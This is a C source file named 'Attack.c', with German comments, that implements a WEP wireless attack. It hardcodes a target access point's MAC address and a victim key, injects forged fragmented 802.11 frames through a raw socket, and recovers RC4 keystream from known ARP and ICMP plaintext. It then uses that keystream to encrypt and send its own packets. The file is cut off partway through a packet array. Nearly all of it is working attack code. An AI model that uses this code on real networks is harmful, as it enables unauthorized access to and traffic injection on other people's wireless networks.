View source for Attack.c

 #include <stdio.h>
 #include <stdlib.h>
 #include <unistd.h>
 #include <sys/types.h>
 #include <sys/ioctl.h>
 #include <errno.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #include <net/ethernet.h>
 #include <netinet/ip.h>
 #include <netinet/tcp.h>
 
 #include <string.h>
 #include <netinet/in.h>
 #include <net/if.h>
 #include <netpacket/packet.h>
 #include "rc4.h"
 
 #define SEND_BIT 28 //0x24(verschluesselt) <> 0x1c(unverschluesselt)
 #define crypt1  
 #define DEBUG
 #define KEY_LAENGE 64 //Bit
 #define MAX_PACKETSIZE 1500
 
   #define TMAC0 0x00
   #define TMAC1 0x0f
   #define TMAC2 0xb5
   #define TMAC3 0x3f
   #define TMAC4 0x13
   #define TMAC5 0x14
 #if 0
   #define TMAC0 0x00
   #define TMAC1 0x11
   #define TMAC2 0x88
   #define TMAC3 0x28
   #define TMAC4 0x73
   #define TMAC5 0x30
 #endif
 #if 0
   #define MAC0 0x00
   #define MAC1 0x13
   #define MAC2 0x02
   #define MAC3 0x2a
   #define MAC4 0x80
   #define MAC5 0x8d
 #endif
 //0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
 
   #define MAC0 0x00
   #define MAC1 0x0f
   #define MAC2 0xb5
   #define MAC3 0x97
   #define MAC4 0x37
   #define MAC5 0x37
 
    typedef struct { 
 	int iv; 
 	unsigned char keyindex; 
 	unsigned char keystream[2400];
   } key;  
 
 int rawsock;
 
 extern int crc32_bitoriented(unsigned char *buffer, int length);
 extern void swap_byte(unsigned char *a, unsigned char *b);
 extern void prepare_key(unsigned char *key_data_ptr, int key_data_len, rc4_key *key);
 extern void rc4(unsigned char*buffer_ptr, int buffer_len, rc4_key *key);
 unsigned short chksum(unsigned char *data, int l);
 void my_decrypt(unsigned char packet[], int n);
 
 void filter(int min_len);
 void decrypt_arp(unsigned char packet[], int n);
 void decrypt_ping(unsigned char packet[], int n);
 void short_ping(unsigned char *packet, unsigned char *kv, int len);
 
 	unsigned char nul[2400];
 	unsigned char arp[] = {
 		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x06,//LLC/SNAP
 		0x00, 0x01, //type ethernet
 		0x08, 0x00, //proto-type
 		0x06, 0x04, 0x00, 0x01, //hw, opcode
 		0x00, 0x0f, 0xb5, 0x97, 0x37, 0x37, //source-mac
 		0xc0, 0xa8, 0x8e, 0x02, //source IP NEEDS PATCH 0x16-0x19 XXX last byte= 64
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //target-mac
 		0xc0, 0xa8, 0x8e, 0x01 //target-ip
 	};
 
 	unsigned char ping[]={
 	0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //SNAP _7
 	0x45, 0x00, 0x01, 0x1c, // ipheader,flags, 2bit:laenge _11
 	0x00, 0x00, // Identification _13
 	0x40, //flags _14
 	0x00, //fragmen offset _15
 	0x40, // TTL _16
 	0x01, // Proto = ICMP _17
 	0x9c, 0x8c, // FIXME CHKSUM _19
 	0xc0, 0xa8, 0x8e, 0x02, //SRC IP _23
 	0xc0, 0xa8, 0x8e, 0x01, //DEST IP (TARGET) _27
 	0x08, //ICMP type echo request
 	0x00, //code _29
 	0x07, 0xd5, //icmp-chksum FIXME TODO XXX _31
 	0x08, 0x20, //identifier _33
 	0x00, 0x02, //sequenz _35
 	0x40, 0xe5, 0x18, 0x45, 0x2f, 0x37, 0x0a, 0x00, //statische daten
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
 	0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff // _291
 	};
 	int ping_len = 292;
 
 
 	uint8_t arp_len = 36;
 
 /* wandelt daten in hexzahlen um */ 
   void
 hexdump (unsigned char *data, int len, int nl)
 {
   int i;
   for (i = 0; i < len; i++)
     printf ("%02x%c", data[i], (i < len - 1) ? ':' : 0);
   if (nl)
   	printf ("\n");
 }
 
 
 /* header ausgeben */ 
   void
 print_header (unsigned char packet[], int n) 
 {
   printf ("\nType:\t%x", (unsigned char) packet[0]);
   printf ("\nFlags:\t%x", (unsigned char) packet[1]);
   printf ("\nDauer:\t%u", (unsigned short) packet[2]);
   printf ("\nZiel-Mac:\t");
   hexdump ((unsigned char *) packet + 0x04, 6, 0);
   printf ("\nBSS-Mac:\t");
   hexdump ((unsigned char *) packet + 0x0a, 6, 0);
   printf ("\nQuell-Mac:\t");
   hexdump ((unsigned char *) packet + 0x10, 6, 0);
   printf ("\nSequenzNR:\t%u", (unsigned short) packet[0x16]);
   printf ("\n##IV##:\t%x %x %x", (unsigned char) packet[0x18],
 	   (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
   printf ("\nKey-Index:\t%u\n", (unsigned char) packet[0x1b]);
   hexdump ((unsigned char *) packet + 0x1c, n - 3 - 0x1c, 1);
   printf ("WEP-ICV:\t");
   hexdump ((unsigned char *) packet + n - 3, 4, 1);
   return;
 }
 
 unsigned char * get_bss(char packet[], int n)
 {
 	return (unsigned char*)packet + + 10;
 }
 /*
 uint32_t modpot(uint32_t a, uint8_t e, uint8_t m)
 {
 	uint32_t z, i;
 	z = 1;
 	for (i = ;
 	
 }*/
 
 void send_arp(unsigned char packet[], uint8_t iv[], uint8_t kv[], uint8_t key_idx)
 {
 	unsigned char arp_enc[] = {
 		0x08, //Data
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
 		0x00,
 		0x00, 0x00, //duration-field
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest (broadcast)
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
 		0xff, //key_idx NEEDS PATCH 0x1b
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload NEEDS PATCH 0x1c-0x23
 		0xff, 0xff, 0xff, 0xff //package-checksum NEEDS PATCH 0x24-0x27
 	};
 	//uint8_t arp_enc_len = 0x28;
 	uint32_t ivc, packsum;
 	int i, nr;
 	unsigned int sequenz;
 
 	sequenz = (packet[17]);
 	sequenz = (sequenz<<4)+(packet[16]&0xf);
 	
 	sequenz += 42;
 	ivc = 0;
 	//fuer alle fragmente:
 	printf("\n");
 	for(nr=0;nr < (int)arp_len/4; nr++)
 	{	
 #ifdef crypt1	
 	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x41+0x08:0x45+0x08;
 #else
 	arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x09:0xd;
 //	printf("runde: %d\tschalter: %x\n", nr, arp_enc[0x01]);
 #endif
 		//arp_enc[0x01] = (nr==(int)(arp_len/4-1))?0x01+0x08:0x05+0x08;
 
 		//build sequence-field
 		/* fragment 4 bit - squenz 12 bit */
 		//sequenz++;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
 		arp_enc[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
 		arp_enc[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
 		//printf("sequenz=%u\n",sequenz);
 #ifdef crypt1
 		//set IV
 		arp_enc[0x18] = packet[0x18];
 		arp_enc[0x19] = packet[0x19];
 		arp_enc[0x1a] = packet[0x1a];
 		//set keyidx
 		arp_enc[0x1b] = key_idx;
 #endif
 
 #ifdef crypt1
 		//packet fuellen - verschluesselt
 		arp_enc[0x1c] = arp[0+(nr*4)];
 		arp_enc[0x1d] = arp[1+(nr*4)];
 		arp_enc[0x1e] = arp[2+(nr*4)];
 		arp_enc[0x1f] = arp[3+(nr*4)];
 #else
 		//packet fuellen - unverschluesselt
 //	printf("packet unverschluesselt fuellen\n");
 		arp_enc[0x18] = arp[0+(nr*4)];
 		arp_enc[0x19] = arp[1+(nr*4)];
 		arp_enc[0x1a] = arp[2+(nr*4)];
 		arp_enc[0x1b] = arp[3+(nr*4)];
 #endif
 
 #if 0
 		arp_enc[0x18] = arp[0+(nr*4)];
 		arp_enc[0x19] = arp[1+(nr*4)];
 		arp_enc[0x1a] = arp[2+(nr*4)];
 		arp_enc[0x1b] = arp[3+(nr*4)];
 #endif
 #ifdef crypt1
 		//build icv-checksum over packet
 		ivc = crc32_bitoriented((arp+(nr*4)), 4);
   //  	printf("crc : %X %X %X %X ist %8X\n", arp[0+(4*nr)], arp[1+(4*nr)], arp[2+(4*nr)], arp[3+(4*nr)], ivc);
 		//build packet
 		arp_enc[0x20] = *(((uint8_t *)&ivc)+0);
 		arp_enc[0x21] = *(((uint8_t *)&ivc)+1);
 		arp_enc[0x22] = *(((uint8_t *)&ivc)+2);
 		arp_enc[0x23] = *(((uint8_t *)&ivc)+3);
 #endif
 #ifdef crypt1
 		printf("unverschluesselt:\t"); hexdump((unsigned char *) arp_enc + 0x1c,8,1);
 		//verschluesseln	
 		for(i=0;i<8;i++)
 		{
 			arp_enc[0x1c + i] ^= kv[i];
 		}
 #endif
 
 #ifdef crypt1	
 		printf("  verschluesselt:\t"); hexdump((unsigned char *)arp_enc + 0x1c,8,1);
 #else 
 	//	printf("verschluesselter datenteil:\t"); hexdump((unsigned char *)arp_enc + 0x18,8,1);
 #endif
 
 
 		//checksumme des packetes bilden
 		packsum = crc32_bitoriented(arp_enc,36);
 #ifdef crypt1
 		arp_enc[0x24] = *(((uint8_t *)&packsum)+0);
 		arp_enc[0x25] = *(((uint8_t *)&packsum)+1);
 		arp_enc[0x26] = *(((uint8_t *)&packsum)+2);
 		arp_enc[0x27] = *(((uint8_t *)&packsum)+3);
 #else
 		arp_enc[0x1c] = *(((uint8_t *)&packsum)+0);
 		arp_enc[0x1d] = *(((uint8_t *)&packsum)+1);
 		arp_enc[0x1e] = *(((uint8_t *)&packsum)+2);
 		arp_enc[0x1f] = *(((uint8_t *)&packsum)+3);
 #endif
 
 #ifdef crypt1
 		for(i=0;i<0x24;i++)printf("%x ",arp_enc[i]);
 	printf("\n");	
 		while(write(rawsock, arp_enc,0x24)!=0x24) ;
 #else
 	//	for(i=0;i<SEND_BIT;i++)printf("%x ",arp_enc[i]);		
 	//	printf("\n");
 	
 		while(write(rawsock, arp_enc,SEND_BIT)!=SEND_BIT) ;
 #endif
 	//	printf("%d. runde vollendet:", nr);getc(stdin);
 	}
 	
 	filter(0);
 }
 
 /*debug*/
 void filter(int min)
 {
 	int n;
 	unsigned char packet[2400];
 	int packetsize = 2400;
 printf("FILTER SUCHT PASSENDES PACKET\n\n");
 while(1){
       n = read (rawsock, packet, packetsize);
 	  /* wenn das netz eine bestimmt mac hat: packet+0x0a*/
 
       if (//(packet[0] == 0x08) &&
 			(n > min) &&
 				((TMAC0==(unsigned char)packet[10]) &&
 				  (TMAC1==(unsigned char)packet[11]) &&	
 				  (TMAC2==(unsigned char)packet[12]) &&	
 				  (TMAC3==(unsigned char)packet[13]) &&	
 				  (TMAC4==(unsigned char)packet[14]) &&	
 				  (TMAC5==(unsigned char)packet[15])) 
 			&&
 					(((MAC0==(unsigned char)packet[4]) &&
 				  	(MAC1==(unsigned char)packet[5]) &&	
 				  	(MAC2==(unsigned char)packet[6]) &&	
 				  	(MAC3==(unsigned char)packet[7]) &&	
 				  	(MAC4==(unsigned char)packet[8]) &&	
 				  	(MAC5==(unsigned char)packet[9]))
 				||
 					((MAC0==(unsigned char)packet[16]) &&
 				  	(MAC1==(unsigned char)packet[17]) &&	
 				  	(MAC2==(unsigned char)packet[18]) &&	
 				  	(MAC3==(unsigned char)packet[19]) &&	
 				  	(MAC4==(unsigned char)packet[20]) &&	
 				  	(MAC5==(unsigned char)packet[21])))
 		)
 	  {	
  		printf("!!GOT RESPONSE!!\n");	
 		print_header (packet, n);
 
 		printf("Komplettes Paket:\n");
 		hexdump(packet,n,1);
 		printf("Entschluesseltes Paket\n");
 		hexdump(arp,36,1);
 		
 		//getc(stdin);//getc(stdin);
 #ifdef crypt1
 		if(n>550) { my_decrypt(packet,n); return;}
 		else if(n>200) decrypt_ping(packet, n);
 		else if(min==0) exit(1);
 		decrypt_arp(packet, n);
 	
 #endif
 		return;
 	  }
 }
 }
 
 void my_send(unsigned char src[], unsigned char data[], unsigned char kv[], int n, unsigned short fragmente){
 
 
 	if(n/MAX_PACKETSIZE > 16){printf("cannot send %i Byte in %u fragments\n", n, fragmente); return;}
 	if(fragmente > 16){printf("cannot send more than 16 fragments\n");}
 	
 	unsigned char *packet = malloc(n*sizeof(unsigned char) + 0x1c + 40);
 	if(packet == NULL) {printf("malloc error\n"); exit(0);}
 	unsigned char header[]= 	
 	{
 		0x08, //Data
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
 		0x00,
 		0x00, 0x00, //duration-field
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
 		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
 		0xff, //key_idx NEEDS PATCH 0x1b
 	};
 
 	int nr;
 	int i, ivc, sequenz;
 	int fragment_size = n / fragmente;
 
 	for(i=0;i<0x1c;i++) packet[i]=header[i];
 	//for(i=0;i<(n-0x1c);i++) packet[i+0x1c]=data[i];
 
 	//hexdump(ping+27,264,1);
 	//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264)); 
 	
 	sequenz = src[17];
 	sequenz = (sequenz<<4)+(src[16]&0xf);
 	sequenz++;
 while(1){
 	for(nr=0;nr < fragmente; nr++)
 	{	
 		packet[0x01] = (nr==(int)(fragmente-1))?0x41+0x08:0x45+0x08;
 
 		//build sequence-field
 		/* fragment 4 bit - squenz 12 bit */
 		//sequenz++;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
 		packet[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
 		packet[0x16] = (nr%16)|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
 
 		//set IV
 		packet[0x18] = src[0x18];
 		packet[0x19] = src[0x19];
 		packet[0x1a] = src[0x1a];
 		//set keyidx
 		packet[0x1b] = src[0x1b];
 
 		//packet fuellen 
 		for(i=0;i<fragment_size;i++) packet[0x1c + i] = data[i+(nr*fragment_size)];
 		
 		//build icv-checksum over packet
 		ivc = crc32_bitoriented(data+0x1c, fragment_size);
 		//build packet
 		packet[0x1c+fragment_size+0] = *(((uint8_t *)&ivc)+0);
 		packet[0x1c+fragment_size+1] = *(((uint8_t *)&ivc)+1);
 		packet[0x1c+fragment_size+2] = *(((uint8_t *)&ivc)+2);
 		packet[0x1c+fragment_size+3] = *(((uint8_t *)&ivc)+3);
 
 		//verschluesseln
 		for(i=0;i<fragment_size+4;i++) packet[0x1c+i]^=kv[i];
 
 		//ausgeben des packets
 		//printf("AUSGEBEN DES PACKETES\n");
 		//hexdump(packet,fragment_size+0x1c+4,1);
 	
 		//senden des packets
 			while(write(rawsock, packet,fragment_size + 0x1c + 4 )!=fragment_size + 0x1c +4) ;
 	//	printf("\nWURDE GESENDET\n");	
 	
 		
 	
 	}
 	filter(n/2);	
 }
 }
 
 void send_ping(unsigned char packet[], unsigned char kv[], int n)
 {
 	unsigned char ping_header[]={
 		0x08, //Data
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
 		0x00,
 		0x00, 0x00, //duration-field
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
 		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
 		0xff, //key_idx NEEDS PATCH 0x1b
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload 
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload
 		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, //payload + icv
 	};
 
 	int nr;
 	int i, ivc, sequenz;
 	//hexdump(ping+27,264,1);
 	//printf("checksum vom ping-ding:\t%x\n", chksum(ping+27, 264)); 
 	
 	sequenz = (packet[17]);
 	sequenz = (sequenz<<4)+(packet[16]&0xf);
 	for(nr=0;nr < (int)ping_len/36; nr++)
 	{	
 	ping_header[0x01] = (nr==(int)(ping_len/36-1))?0x41+0x08:0x45+0x08;
 
 		//build sequence-field
 		/* fragment 4 bit - squenz 12 bit */
 		//sequenz++;
 		//arp_enc[0x17] = packet[0x17]+(nr%16)?0:1;
 		ping_header[0x17] = (unsigned char)sequenz>>4; //die 8 hoechstwertigen bits
 		ping_header[0x16] = ((nr%16))|(unsigned char)((sequenz)<<4); //fragment-nr-4bit|sequenz-nr-4bit
 
 		//set IV
 		ping_header[0x18] = packet[0x18];
 		ping_header[0x19] = packet[0x19];
 		ping_header[0x1a] = packet[0x1a];
 		//set keyidx
 		ping_header[0x1b] = packet[0x1b];
 
 		//packet fuellen 
 		for(i=0;i<36;i++) ping_header[0x1c + i] = ping[i+(nr*36)];
 		
 		//build icv-checksum over packet
 		ivc = crc32_bitoriented((ping+(nr*36)), 36);
 		//build packet
 		ping_header[0x40] = *(((uint8_t *)&ivc)+0);
 		ping_header[0x41] = *(((uint8_t *)&ivc)+1);
 		ping_header[0x42] = *(((uint8_t *)&ivc)+2);
 		ping_header[0x43] = *(((uint8_t *)&ivc)+3);
 
 		for(i=0;i<0x44;i++) ping_header[0x1c+i]^=kv[i];
 
 		//ausgeben des packets
 //		printf("AUSGEBEN DES PACKETES\n");
 //		for(i=0;i<0x44;i++)printf("%x ", ping_header[i]);
 	
 		//senden des packets
 		while(write(rawsock, ping_header,0x44)!=0x44) ;
 //		printf("\nWURDE GESENDET\n");	
 	}
 		
 	
 	filter(200);	
 	
 }
 
 unsigned short chksum(unsigned char *data, int l)
 {
 	int i;
 	unsigned short sum = 0;
 	
 	for(i=0;i<l;i+=2){
 		sum += (unsigned short)(((data[i]^0xff)<<8)+(data[i+1]^0xff));		
 	}
 //	printf("%d\n",i);
 	return sum;	
 }
 
 void decrypt_arp(unsigned char packet[], int n)
 {	
 	int i, packsum;
 	unsigned char kv[2400];
 	unsigned char nul[2400];
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
 	rc4_key rc4_schluessel;
 	unsigned char ivc[4];
 #ifdef crypt1
 //	if(packet[0]==0xb0)printf("authentication frame found\n");
 	//if(n!=86) {printf("kein arp-packet!!\n"); return;} //kein arp
 #endif	
   	printf ("\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
 	
 	for(i=0;i<36;i++) { kv[i] = packet[0x1c+i]^arp[i];}  //36 Byte Schluessel aus bekanntem ARP erraten
 	 			
 		packsum = crc32_bitoriented(arp,36);
 		ivc[3] = *(((uint8_t *)&packsum)+3);
 		ivc[2] = *(((uint8_t *)&packsum)+2);
 		ivc[1] = *(((uint8_t *)&packsum)+1);
 		ivc[0] = *(((uint8_t *)&packsum)+0);
 
 //    	printf("crc vom arp ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
 #ifdef crypt1
 		/* i == 36 */
 		i = 36;
 		kv[i] = ivc[0]^packet[0x1c+i];i++;
 		kv[i] = ivc[1]^packet[0x1c+i];i++;
 		kv[i] = ivc[2]^packet[0x1c+i];i++;
 		kv[i] = ivc[3]^packet[0x1c+i];i++;
 
 		printf("berechneter Keystream:\n");
 		for(i=0;i<40;i++) printf("%x ",kv[i]); 
 		printf("\nRC4-Keystream\n");
 		wep_key[0]=packet[0x18];
 		wep_key[1]=packet[0x19];
 		wep_key[2]=packet[0x1a];
 
 		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
 		for(i=0;i<80;i++) nul[i]=0x00;
 		rc4(nul,40,&rc4_schluessel);
 		for(i=0;i<80;i++) printf("%x ",nul[i]); 
 
 		for(i=0;i<40;i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
 		printf("\nEntschluesseltes Packet:\n");
 		for(i=0;i<68;i++) printf("%x ",packet[i]); 
 		printf("\n");
 		i = 40;
 	/* ***************************************************** */
 		send_ping(packet, kv, i);
 	
 #endif
 	
 }
 
 void decrypt_ping(unsigned char packet[], int n)
 {	
 	int i, packsum;
 	unsigned char kv[2400];
 	unsigned char nul[2400];
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
 	rc4_key rc4_schluessel;
 	unsigned char ivc[4];
 	
  // 	printf ("\nPING DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
 	
 	for(i=0;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i]^ping[i];}  //n Byte Schluessel aus bekanntem ping erraten
 	 			
 		packsum = crc32_bitoriented(ping,ping_len);
 		ivc[3] = *(((uint8_t *)&packsum)+3);
 		ivc[2] = *(((uint8_t *)&packsum)+2);
 		ivc[1] = *(((uint8_t *)&packsum)+1);
 		ivc[0] = *(((uint8_t *)&packsum)+0);
 
    // 	printf("crc vom ping ist %x %x %x %x\n", ivc[0], ivc[1], ivc[2], ivc[3]);
 		/* i == 36 */
 		i = n - 4;
 		kv[i] = ivc[0]^packet[0x1c+i];i++;
 		kv[i] = ivc[1]^packet[0x1c+i];i++;
 		kv[i] = ivc[2]^packet[0x1c+i];i++;
 		kv[i] = ivc[3]^packet[0x1c+i];i++;
 
 	//	printf("berechneter Keystream:\n");
 		//for(i=0;i<(n-0x1c);i++) printf("%x ",kv[i]); 
 		hexdump(kv,n-0x1c,1);
 	//	printf("\nRC4-Keystream\n");
 		wep_key[0]=packet[0x18];
 		wep_key[1]=packet[0x19];
 		wep_key[2]=packet[0x1a];
 
 		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
 		for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
 		rc4(nul,n-0x1c,&rc4_schluessel);
 		//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]); 
 		hexdump(nul,n-0x1c,1);
 
 		for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten ARP-Packet
 	//	printf("\nEntschluesseltes Packet:\n");
 		//for(i=0;i<n;i++) printf("%x ",packet[i]); 
 //		hexdump(packet,n,1);
 	//	printf("\n");
 	
 	//	short_ping(packet,kv,n);
 		printf("Sende %d (verschluesselte) Bytes Nullen\n", 1000); 
 		for(i=0;i<1100;i++) nul[i]=0;
 		my_send(packet, nul, kv,1000,16);  
 		filter(600);
 	
 }
 
 void my_decrypt(unsigned char packet[], int n)
 {	
 	int i;
 	unsigned char kv[2400];
 	unsigned char wep_key[]={0x00,0x00,0x00,0xf0,0x0b,0xaf,0x00,0xba}; //opfer
 	rc4_key rc4_schluessel;
 	
 //  	printf ("\nMY_DECRYPT\n##IV##:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
  	printf ("\nIV:\t%x %x %x\n", (unsigned char) packet[0x18], (unsigned char) packet[0x19], (unsigned char) packet[0x1a]);
 	kv[0]=packet[0x1c]^0xaa;
 	kv[1]=packet[0x1d]^0xaa;
 	kv[2]=packet[0x1e]^0x03;
 	kv[3]=packet[0x1f]^0x00;
 	kv[4]=packet[0x20]^0x00;
 	kv[5]=packet[0x21]^0x00;
 	kv[6]=packet[0x22]^0x03;
 	kv[7]=packet[0x23]^0xe0;
 	for(i=8;i<(n-(0x1c + 4));i++) { kv[i] = packet[0x1c+i];}  //n Byte Schluessel aus bekanntem ping erraten
 	 			
 		printf("berechneter Keystream:\n");
 		hexdump(kv+0,n-0x23,1);
 		printf("\nRC4-Keystream\n");
 		wep_key[0]=packet[0x18];
 		wep_key[1]=packet[0x19];
 		wep_key[2]=packet[0x1a];
 
 		prepare_key(wep_key,8/* KEY_LAENGE*/, &rc4_schluessel);
 		for(i=0;i<(n-0x1c);i++) nul[i]=0x00;
 		rc4(nul,n-0x1c,&rc4_schluessel);
 		//for(i=0;i<(n-0x1c);i++) printf("%x ",nul[i]); 
 		hexdump(nul+0,n-0x23,1);
 
 //		for(i=0;i<(n-0x1c);i++) packet[28+i]^=kv[i]; 	// Vergleich mit erwarteten Packet
 //		printf("\nEntschluesseltes Packet:\n");
 		//for(i=0;i<n;i++) printf("%x ",packet[i]); 
 //		hexdump(packet,n,1);
 //		printf("\n");
 	
 	//	short_ping(packet,kv,n);
 //		printf("Sende %d (verschluesselte) Bytes Nullen\n", 16*( n - 0x1c + 4)); 
 		for(i=0;i<2400;i++) nul[i]=0;
 return;	
 }
 void short_ping(unsigned char *packet, unsigned char *kv, int len){
 
 	unsigned char ping_header[]={
 		0x08, //Data
 		//org0x45, //flags: enc, toDS, frag (FRAGS needs to be cleared for last package)
 		0x49,
 		0x00, 0x00, //duration-field
 		TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //BSS
 		0x00, 0x0F, 0xb5, 0x97, 0x37, 0x37, //source
 		//TMAC0, TMAC1, TMAC2, TMAC3, TMAC4, TMAC5, //dest
 		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //dest
 		0xff, 0xff, //sequence NEEDS PATCH 0x16-0x17
 		0xff, 0xff, 0xff, //IV NEEDS PATCH 0x18-0x1a
 		0xff, //key_idx NEEDS PATCH 0x1b
 		0xaa, 0xaa, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, //payload
 		0x45, 0x00, 0x00, 0x54, 0x00, 0x00, 0x40, 0x00, //payload 
 		0x40, 0x01, 0x9d, 0x54, 0xc0, 0xa8, 0x8e, 0x02, //payload 
 		0xc0, 0xa8, 0x8e, 0x01, 0x08, 0x00, 0x97, 0x51, //payload
 		0x3e, 0x3f, 0x00, 0x01, 0xb4, 0x29, 0x19, 0x45, //payload + icv
 		0x82, 0xfc, 0x05, 0x00, 0x08, 0x09, 0x0a, 0x0b, //payload + icv
 		0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, //payload + icv
 		0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, //payload + icv
 		0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, //payload + icv
 		0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, //payload + icv
